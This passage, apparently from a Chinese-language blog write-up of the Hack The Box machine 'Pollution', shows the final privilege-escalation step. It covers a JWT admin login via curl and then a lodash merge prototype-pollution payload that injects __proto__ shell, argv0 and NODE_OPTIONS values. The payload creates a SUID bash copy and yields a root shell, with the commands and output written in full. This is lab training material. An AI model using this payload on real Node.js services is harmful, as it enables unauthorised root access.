","text":"victor@pollution:~$ curl 'http://127.0.0.1:3000/auth/login' -X POST -d '{\"username\": \"aoeu\", \"password\": \"aoeu\"}' -H 'Content-Type: application/json' {\"Status\":\"Ok\",\"Header\":{\"x-access-token\":\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW9ldSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODgzNjQzOCwiZXhwIjoxNzg4ODQwMDM4fQ._8SC7GiRt14YXNLaPD4fcR7pVTVNTOVbQJQ6ptMzcEM\"}}victor@pollution:~$"},{"id":"b153","type":"paragraph","html":"

雖然目前不知道管理員能幹嘛，但總之透過 jwt.io 解碼可以看到我們確實是管理員了：

","text":"雖然目前不知道管理員能幹嘛，但總之透過 jwt.io 解碼可以看到我們確實是管理員了："},{"id":"b154","type":"paragraph","html":"

{\n  \"user\": \"aoeu\",\n  \"is_auth\": true,\n  \"role\": \"admin\",\n  \"iat\": 1788836438,\n  \"exp\": 1788840038\n}

","text":"{ \"user\": \"aoeu\", \"is_auth\": true, \"role\": \"admin\", \"iat\": 1788836438, \"exp\": 1788840038 }"},{"id":"b155","type":"heading","html":"

JavaScript Prototype Pollution

","text":"JavaScript Prototype Pollution"},{"id":"b156","type":"paragraph","html":"

接著我看了很久，實在沒看出什麼東西，就去看 0xdf 的 writeup 了。他首先用 Snyk 掃出了 lodash 這個套件存在多個 Prototype Pollution 漏洞，其中一個 CVE 說明了 merge 函式存在的問題：

","text":"接著我看了很久，實在沒看出什麼東西，就去看 0xdf 的 writeup 了。他首先用 Snyk 掃出了 lodash 這個套件存在多個 Prototype Pollution 漏洞，其中一個 CVE 說明了 merge 函式存在的問題："},{"id":"b157","type":"paragraph","html":"

merge (target, source)\n  foreach property of source\n    if property exists and is an object on both the target and the source\n      merge(target[property], source[property])\n    else\n      target[property] = source[property]\n

","text":"merge (target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]"},{"id":"b158","type":"paragraph","html":"

剛好我們的 Messages_send.js 就有用到 merge：

","text":"剛好我們的 Messages_send.js 就有用到 merge："},{"id":"b159","type":"paragraph","html":"

const messages_send = async (req, res) => {\n    const token = decodejwt(req.headers['x-access-token'])\n    if (req.body.text) {\n        const message = {\n            user_sent: token.user,\n            title: \"Message for admins\",\n        };\n \n        _.merge(message, req.body);\n// ...<SNIP>...\n}

","text":"const messages_send = async (req, res) => { const token = decodejwt(req.headers['x-access-token']) if (req.body.text) { const message = { user_sent: token.user, title: \"Message for admins\", }; _.merge(message, req.body); // ...... }"},{"id":"b160","type":"paragraph","html":"

在 HackTricks 可以找到許多 Prototype Pollution to RCE 相關的範例，最後 0xdf 透過修改 exec exploitation 的範例來拿到 root shell：

","text":"在 HackTricks 可以找到許多 Prototype Pollution to RCE 相關的範例，最後 0xdf 透過修改 exec exploitation 的範例來拿到 root shell："},{"id":"b161","type":"paragraph","html":"

const { exec } = require('child_process');\np = {}\np.__proto__.shell = \"/proc/self/exe\" //You need to make sure the node executable is executed\np.__proto__.argv0 = \"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//\"\np.__proto__.NODE_OPTIONS = \"--require /proc/self/cmdline\"\nvar proc = exec('something');

","text":"const { exec } = require('child_process'); p = {} p.__proto__.shell = \"/proc/self/exe\" //You need to make sure the node executable is executed p.__proto__.argv0 = \"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//\" p.__proto__.NODE_OPTIONS = \"--require /proc/self/cmdline\" var proc = exec('something');"},{"id":"b162","type":"paragraph","html":"

依照 messages_send 的要求修改執行：

","text":"依照 messages_send 的要求修改執行："},{"id":"b163","type":"paragraph","html":"

{\n  \"text\": \"Hi!\",\n  \"__proto__\": {\n    \"shell\": \"/proc/self/exe\",\n    \"argv0\": \"console.log(require('child_process').execSync('/bin/cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb').toString())//\",\n    \"NODE_OPTIONS\": \"--require /proc/self/cmdline\"\n  }\n}

","text":"{ \"text\": \"Hi!\", \"__proto__\": { \"shell\": \"/proc/self/exe\", \"argv0\": \"console.log(require('child_process').execSync('/bin/cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb').toString())//\", \"NODE_OPTIONS\": \"--require /proc/self/cmdline\" } }"},{"id":"b164","type":"paragraph","html":"

透過 curl 送出：

","text":"透過 curl 送出："},{"id":"b165","type":"paragraph","html":"

victor@pollution:~$ curl 'http://127.0.0.1:3000/admin/messages/send' \\\n  -H 'Content-Type: application/json' \\\n  -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW9ldSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODg0MDA2NywiZXhwIjoxNzg4ODQzNjY3fQ.2-84oAVkzH5ZdZ0LLEjnDCdgBMKzvw8pQzeLjqCUGwA' \\\n  --data-binary @- <<'EOF'\n{\n  \"text\": \"Hi!\",\n  \"__proto__\": {\n    \"shell\": \"/proc/self/exe\",\n    \"argv0\": \"console.log(require('child_process').execSync('/bin/cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb').toString())//\",\n    \"NODE_OPTIONS\": \"--require /proc/self/cmdline\"\n  }\n}\nEOF\n{\"Status\":\"Ok\"}\n\nvictor@pollution:~$ ls -al /tmp/abb\n-rwsrwxrwx 1 root root 1234376 Sep  8 00:03 /tmp/abb\n

","text":"victor@pollution:~$ curl 'http://127.0.0.1:3000/admin/messages/send' \\ -H 'Content-Type: application/json' \\ -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW9ldSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODg0MDA2NywiZXhwIjoxNzg4ODQzNjY3fQ.2-84oAVkzH5ZdZ0LLEjnDCdgBMKzvw8pQzeLjqCUGwA' \\ --data-binary @- <<'EOF' { \"text\": \"Hi!\", \"__proto__\": { \"shell\": \"/proc/self/exe\", \"argv0\": \"console.log(require('child_process').execSync('/bin/cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb').toString())//\", \"NODE_OPTIONS\": \"--require /proc/self/cmdline\" } } EOF {\"Status\":\"Ok\"} victor@pollution:~$ ls -al /tmp/abb -rwsrwxrwx 1 root root 1234376 Sep 8 00:03 /tmp/abb"},{"id":"b166","type":"paragraph","html":"

接著就拿 root.txt 啦：

","text":"接著就拿 root.txt 啦："},{"id":"b167","type":"paragraph","html":"

victor@pollution:~$ /tmp/abb -p\n\nabb-5.1# id\nuid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor)\n\nabb-5.1# cat /root/root.txt\n77e2************************5210\n

","text":"victor@pollution:~$ /tmp/abb -p abb-5.1# id uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor) abb-5.1# cat /root/root.txt 77e2************************5210"}],"source":"$0:f:0:1:0:props:children:props:children:1:props:children:props:children:props:children:0:props:sources:243","originalUrl":"https://blog.abb00717.com/%E7%B4%80%E9%8C%84/Hack-The-Box/Machines/Pollution","excerpt":"在 forum.collect.htb 的論壇中我們找到一段代理紀錄，重放 token 就能把自己的 session 提權成 admin。進到 /admin 後發現註冊請求是用 XML 傳送的，發現並利用 OOB XXE 讀取檔案，獲得 developers.collect.htb 的 Basic Auth 密碼與 Redis 密碼，再直接改寫 Redis 上的 PHP session 繞過登入表單。登入後利用 LFI2RCE 取得 www-data 的 shell，透過 victor 名下的 php-fpm 執行命令並寫入 SSH 公鑰登入 victor，最後在 root 身分執行的 pollution_api 中利用 lodash 的 Prototype Pollution 漏洞取得 root shell。"},"shouldTranslate":true}],"$L23"]}]